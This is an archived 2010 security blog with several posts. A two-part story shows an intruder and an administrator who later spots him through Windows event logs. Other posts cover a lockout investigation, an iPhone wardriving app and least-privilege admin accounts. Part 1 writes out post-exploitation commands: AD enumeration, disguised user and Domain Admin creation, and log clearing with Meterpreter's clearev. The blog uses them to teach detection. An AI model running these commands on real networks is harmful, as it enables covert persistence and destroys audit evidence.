Friday, January 29, 2010

What Bob Did. What Alice Saw - Part 2

This is the 2nd part of the story which is all about Bob the evil hacker and Alice the overworked Sys Admin.

In the previous post Bob was using some of his command line Kung Fu to carefully analyse the Walliford Active Directory before creating some very inconspicuous admin and user accounts. Bob being the careful kind of guy that he is also attempted to cover his tracks by deleting the logs on the victim server.

In this post I'll be looking at how Alice might have spotted all Bobs actions if she was following 2 best practices:

1) Analysing the logs.
2) Logging to another server.


Part 2 - What Alice Saw

Alice turns up at the office a few minutes early as usual. She likes to get in, grab her coffee and then start on her daily tasks. First she checks her emails for anything urgent, then the helpdesk, and finally she gets to her server logs. The information that windows logs can be pretty overwhelming, luckily Alice has a few filters that she can apply to look for key events.

What Alice ideally wants to know is what accounts have been added or deleted and what groups have been modified. She keeps a list of the events that she needs to watch out for to spot these types of activities. Other interesting events that Alice keeps a close eye on are those for people logging into servers, bad passwords and account lockouts.


Her daily log analysis isn't her favorite job, but it's an important one. She would love to get her boss to pay for a tool to do the log correlation but unfortunately he doesn't see it as an important enough task. As soon as Alice finds the time and starts looking through the logs she starts to worry. She see's a whole bunch of login failures from earlier that morning.



On closer inspection Alice sees some very strange looking account names like metasploit.



After those entries Alice sees an event 624 Which indicates a new account has been created for a user called Bob Ball.



Alice checks the helpdesk to see if a call was raised for a new employee called Bobby Ball, it wasn't.

Next Alice can see an event 632 that shows that the new account has been added to the HR group.



She makes a quick call to HR and finds that they know nothing of this mysterious account. Alice disables the account until she can get to the bottom of what's going on.

Just as Alice finds a few minutes to spare she goes back to her logs and then her phone rings. As she's summoned to a project meeting she thinks that the logs will have to wait. Unfortunately the meeting takes up the rest of her day.

The next day Alice gets to the office extra early so she can catch up with her tasks. However, on connecting to her server she finds the logs are almost completely empty. All the entries from the previous day had been cleared. The oldest event is a event 517 which shows that the logs have been cleared.



As Alice sits back and thinks about things she convinced that some evil hacker has tried to break into her network, she counts her lucky stars that she spotted the hackers account and disabled it quickly before any damage was done.

The End



Okay, I know my story is pretty crap but I bring all this log stuff up because had recently had a conversation with someone who didn't realise just how much useful information was contained in the Windows security event logs. This post is just really to highlight 2 things. Get your logs off the server, there are plenty of great tools to do that, unfortunately they all cot a bit. Secondly, build time into your day to analyse the logs. Find out the important events and find a way to filter the logs to spot when something is wrong.

If you want to learn more about the Windows Event Logs check out Randy Franklin Smiths site Ulitimate Windows Security. His site is without doubt the best resource for learning about the windows security logs I have ever found, and his webcasts are pretty amazing.

Tuesday, January 19, 2010

What Bob Did. What Alice Saw - Part 1

Recently I've been have way to much fun looking at event logs and digging out which events are indicators of a compromise. As is typical for me I'll try to wrap some of that knowledge up into a little Bob story. So here goes.


Part 1 - What Bob did.

Bob has been up to his old tricks again and has found himself on the wrong side of someones firewall. Well maybe not the wrong side as far as Bob is concerned but it certainly is for Alice, our Systems Administrator. Bob being Bob decides to start his day with a little pwnage, he hunts around for a target and after a little scanning decides to go with a wide open domain controller which he likes to call 10.0.1.233, or as Alice would call it, Server04.


Bob, sporting his brand new installation of BackTrack4 , decides to test drive the fantastic Fast-Track scripts. He uses Fast-Track not because he's lazy or can't be bothered to learn Metasploit, but because he only has a few minutes before work and he needs to get his pwnage on pretty sharpish.



After successfully getting his Meterpreter session Bob uses the shell command to drop down to a Command prompt. Once at the prompt he decides to list the users on the domain.

net user /domain



The resulting list is quite long and split into 3 columns, as Bob intends to extract the user list to use in future scripts he decides to make use of the DSQUERY command to give him the list in a nice single line list.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(name=*))" -limit 0 -attr samaccountname



With that done Bob decides to go ahead and quickly create a couple of accounts. He wants to create 2 accounts, one as a user because after all thats where the data is right. The other account will be an administrative user because that will help him get to other interesting places on the network. Another good reason for having 2 accounts is if Wallifords discover his intrusion they'll likely try to identify the intruders user account and may well stop when they find the first one. Cunning eh!

Now in the past Bob has used "Net User username password /add" to do this, but that will create an account that even the crappiest of admins will spot. What Bob needs to do is create an account that blends in with the rest of the user accounts, to do this he takes a look at a few user accounts that already exist to see what account properties are populated as standard.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(samaccountname=jimm))" -limit 0 -attr *



From here Bob can see that the user Jim Morrison has a Title, Office, Display Name, telephone Number and Home Drive fields neatly populated as do many of the other users. Armed with that knowledge Bob creates an account with DSADD that will sit nicely with the other accounts in the same Organisational Unit.

dsadd user "CN=Bob Ball,OU=Internal,DC=walliford,DC=local" -Samid BobB -Pwd Eviluser123 -fn Bob -Ln Ball -Display "Bob Ball" -Office Leeds -Tel "01233 455779" -Dept HR -hmdir \\wal-filer\users\BobB -Title Manager -upn BobB@walliford.local



Bob checks his handy work before he moves onto his next task.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(samaccountname=BobB))" -limit 0 -attr *



Now Bob wants to give this user account access to some data, and that will be done by making Bob a member of some groups.

dsquery * -filter "(&(objectcategory=group)(objectclass=group)(name=*))" -limit 0 -attr Name



So there is the list of groups but lets take a closer look at the HR one first.

dsquery * -filter "(&(objectcategory=group)(objectclass=group)(name=HR))" -limit 0 -attr *


Okay that'll do. Bob just needs to modify the properties with DSMOD to add his user account as a member.

dsmod group "CN=HR,OU=Internal,DC=walliford,DC=local" -addmbr "CN=Bob Ball,OU=Internal,DC=walliford,DC=local"




With that sorted Bob wants to create his admin user. hmmm something that wont stand out again. He models the account of other built-in accounts and sets his password to never expire. Hopefully this won't raise any eyebrows.

dsadd user "CN=Cert Owner,CN=Users,DC=walliford,DC=local" -Samid CertOwner -Pwd EvilAdmin123 -Desc "Built-in account for administering certificates" -Display "Domain Certificate Owner" -pwdneverexpires yes

Brilliant. No need to go to town on the groups again. This time he's adding the account straight into Domain Admins.

net group "Domain Admins" CertOwner /add




With that done Bob decides he really needs to get off to work.

Whilst Bobs at work he's slightly troubled that he may have left traces in the logs on the server he compromised. As soon as he gets home he hops back onto the network and just for fun connect through RDP to the server to test his account.



Works like a charm. He has a quick look around and logs off the RDP session. Then Bob remembers what he was supposed to be doing. He gets a new Meterpreter session up and issues the command to clear the logs

clearev



All sorted. Now it's dinner time, pie and chips tonight.

Coming up...What Alice Saw.

Wednesday, January 13, 2010

A Little Forensics Goes a Long Way

Today I had a friend complain that his user account was continually getting locked out. I asked the usual questions and he was sure that it was not him and his fat fingers. Straight away I put my Super Admin hat on try and find out whats going on. As a big fan of the event logs I decided to start there, and with this being an account lockout I went straight to the PDC Emulator as I knew there would be events for the account lockout in the security log.

Using Microsofts free EventCombNT I specified a date range and I configure it to extract just the account lockout events from the PDC Emulator.



After EventCombNT had finished I use the fantastic free Highlighter tool from Mandiant to find all occurrences of account lockouts for this users account.



After filtering by Keyword on my friends username I see all the occurances (in red) where his name is present in the logs. I select one of these events, highlight his name and select "Show Only" from the context menu.



This removes all other events and I'm left with just the events that relate to the lockout of my friends account. I glance down the list and quickly identify the computer which is responsible for the lockouts. Just as my friend decides to go down there and give the user a good talking to I tell him to give me a second. I quickly check the C:\Windows\Prefetch\ directory on the offending computer to see what programs were run at the time of the lockouts.



On seeing the applications listed that correspond with twe times of the lockout my friend goes very quiet. Then he tells me he remembers configuring software for this user. To get the software to work he had to use his own account, and.........well you guessed it, he has since changed his password.

What a nugget!!!

Sunday, January 10, 2010

iPhone Wardriving Just Got Better

Last week I was lucky enough to recieve a blog post comment making me aware of a new iPhone wardriving app. I did a bit of online research then went straight to the app store to download Wifi-Where to take a look for myself.

Wifi-Where was very reasonable priced at £1.79 and after using it once I can say that I really think it's worth the price, if not more. This is certainly the best app I have found for wardriving and here is why.

Wifi-Where has the following features in version 1.0:

  • Easy to use interface
  • Continuous scanning mode
  • GPS Logging (when device supports it)
  • Save hotspots for later
  • Email scan results
  • Email attachments (OS 3.0 Only) in Net Stumbler .ns1, CSV, or Google Earth KML formats
  • Option to ignore secure networks
  • Option to ignore hidden networks
  • Option to sort by signal strength
  • Option to automatically save new networks
  • Option to beep & vibrate on discovery of new network (when device supports it)
  • Option to filter hotspots by signal strength and location accuracy
  • Displays detailed information about each network, including name/SSID, signal strength, raw RSSI value, security & authentication modes (WEP/WPA/WPA2), location, MAC address
  • Connect to hotspots
  • Save passwords for secure networks
  • Upload hotspots to popular wardriving website wigle.net

With the UK being hit by quite bad snow at the moment it has made for excelent wardriving weather. I can pretty much drive anywhere nice and slow taking in all the access points and nobody bats an eyelid.

Now although Wifi-Where has all the features you'd expect in a decent wifi scanner, what really sets it aside as the tool to use for wardriving is the developers have really thought about a few things, such as AP's ( I use the terms AP and access point interchangeably throughout this post) are not discarded as they drop out of range as is the case in many other wifi scanning apps. AP's within range are shown in bold and open access points are shown with a different icon and colour than secured AP's.



Filters can be applied to ignore secure, ad-hoc or hidden AP's and the filters can be applied to show discovered access points depending on strength and location accuracy.



Other features that make this my wardriving app of choice is during a scan all areas of the screen are disabled except for a small stop button in the corner. This is great as the phone will keep scanning if I accidentally touch the screen. Even more useful I can put my phone in my pocket as I scan without worrying about knocking the screen.

The features are very well documented in the app itself and can be easily viewed by select the info icon in the top right on the screen.



Other features such as locking the UI and beep or vibrate on discovery are easily configurable.



The export capabilities in Wifi-Where are just as configurable with a selection of different attachment types available to include as email attachments so scans can be easily imported into either Netstumbler, Google Earth or directly to the popular wardriving site Wigle.net.



Following a scan and prior to an export Wifi-Where displays a useful summary from the captured data detailing the number of hotspots, those that were open, secure, hidden or ad-hoc.



Wifi-Where also exports out to a csv which is really useful for keeping logs of a particular scanning session.


I have only one criticism of Wifi-Where, after a scan if you apply a filter it seems to delete everything but what you are filtering on. I would like to see either a warning that data is being deleted or see the preferably see the filters applied and removed without actually removing data.


The following are features I would like to see in future updates:
  • A countdown timer applied to scans. This would be useful to prevent the battery completely depleting during a scan.
  • Having a swipe to delete function on individual access points would be nice.
  • Additional filters on encrypted AP's would be useful, such as listing all AP's using WEP. Combining filters such as WEP and no encryption would also be handy.
  • The only feature I have seen in another App which I would like to see here would be the radar view as implimented in WiFifoFum. Wifi-Where could improve on this by allowing filters to be applied and then switching to radar view to let the user home in on a particular AP. Along with this could be graphing screen that allows the user to select a range of AP's and see graphs of the signal strength as you move around. This would useful when siting access points.
  • It would be great to have the ability to run the app in a GPS only mode and log routes to a .kml file for later import into Google Earth. This would effectively double up the program as a GPS tracker and if this was done without the wifi card being enabled it would save valuable battery life. Then again this feature could be fleshed out enough to be an app in it's own right.

All in all my opinion is that Wifi-Where is the best iPhone wardriving app for non jailbroken iPhones. If you only want the one wifi scanning app on the iPhone I suggest Wifi-Where is the one to purchase.

Friday, January 8, 2010

Part-time Superman

The other night I went out for a few pints with a mate who is a network manager at a prison. We were discussing a new application that he is rolling out to inmates and as I asked questions it came out that he, along with all the other network admins have domain admin privileges on their day to day user accounts and all IT Staff have local admin privileges. I was shocked that in a prison more emphasis wasn't placed on network security. My mate explained that although all the books he had read and all the courses he had attended had always recommended that you should only have the minimum privileges necessary to do your job, the reason for having these admin rights is it's impossible to work without them. I told him that I thought that was total bollocks and thanks to Conficker I had managed to push through policies at my workplace where no IT staff has Domain Admin rights on their day to day account and no user (including IT staff) has local admin rights. I spent the next half hour or so explaining that this wasn't about preventing the admins from having god like control over their computers, it's more about having the least privileges needed to perform a particular function.

Having a policy that puts IT administrators into the Local Administrator group puts every workstation at risk if the IT administrators PC is compromised or infected with malware. Having users with Domain Admin rights on their day to day accounts puts not only every workstation at risk but every server at risk as well. Hopefully by the end of my drunken rant he got the idea.

OK, so the way I have achieved this level of account control is by the use of SuperUser accounts. Each administrator has their normal day to day account which is as restricted as a normal user and they also have a SuperUser account. The SuperUser accounts have Local Admin and Domain Admin privileges, but they do not have mailboxes or Internet access. This forces the admins to use there day to day account to log in and work as normal. Admittedly this does mean there are more accounts to keep track of but I have a few PowerShell shell scripts that I regularly run to help with that.

When the admin needs to remote onto a server he uses his SuperUser account, which provides a useful audit trail which isn't achievable if all admins use the administrator account. When the admin needs to run tools from his PC I advise them to use the RunAs command. I have the following shortcuts set up on my computer which covers nearly everything I have to do.



Command Prompt
When I launch cmd.exe I'm prompted for my superuser password, then everything I run from the shell is within the context of my superuser account.

C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "C:\WINDOWS\system32\cmd.exe"


PowerShell
I have configured a PowerShell shortcut to run as my superuser account. I also have a standard PowerShell shortcut that I use where possible. The shortcut uses the following command:

C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "C:\WINDOWS\system32\windowspowershell\v1.0\powershell.exe"


Windows Explorer
The explorer shortcut is really handy if I need to browse the file systems of remote servers. The shortcut uses the following command:

C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "explorer /separate"



Custom MMC
I have created a custom MMC with add-ins that I require to perform admin tasks such as Active Directory User and Computers, Sites and Services, Computer Management and a few others. I have saved the MMC in a directory that's easy to launch from a command prompt that I'm running as my SuperUser account.

Any other program need to run under elevated permissions are either run using the RunAs command or i right clicked on and use RunAs from the context menu.

The PowerShell function I created script to regularly check that the SuperUser accounts group membership is quite simple and works well as all the superuser accounts are named similarly.

Function Check-SuperUsers {
Write-Host "SuperUser Group Membership" -ForegroundColor Yellow
$names = (Get-QADUser -sizelimit 0 -SamAccountName "*-superuser")
Foreach ($name in $names){
write-host $Name -ForegroundColor Red
$user = (get-qaduser $Name); $groups = $user.memberof
Foreach($group in $groups)
{$strGroup = $group.split(',')[0]
$strGroup = $strGroup.split('=')[1]
$strGroup
}
}
}


Finally, another effect of this reduction in privileges for admins and IT staff is we get affected by group policies and software issues in the same way that users do, although this may be viewed as inconvenient I think it makes us better at solving problems. In the same vein we as admins are (or should be) affected by the same security restrictions as typical users on our day to day accounts, if we can find loopholes or gaps in these restrictions to allow us to bypass them then so can the users. Far too often I make hear management make comments that users will not be able to bypass this or that restriction because they are to stupid. I often wonder who the stupid ones really are.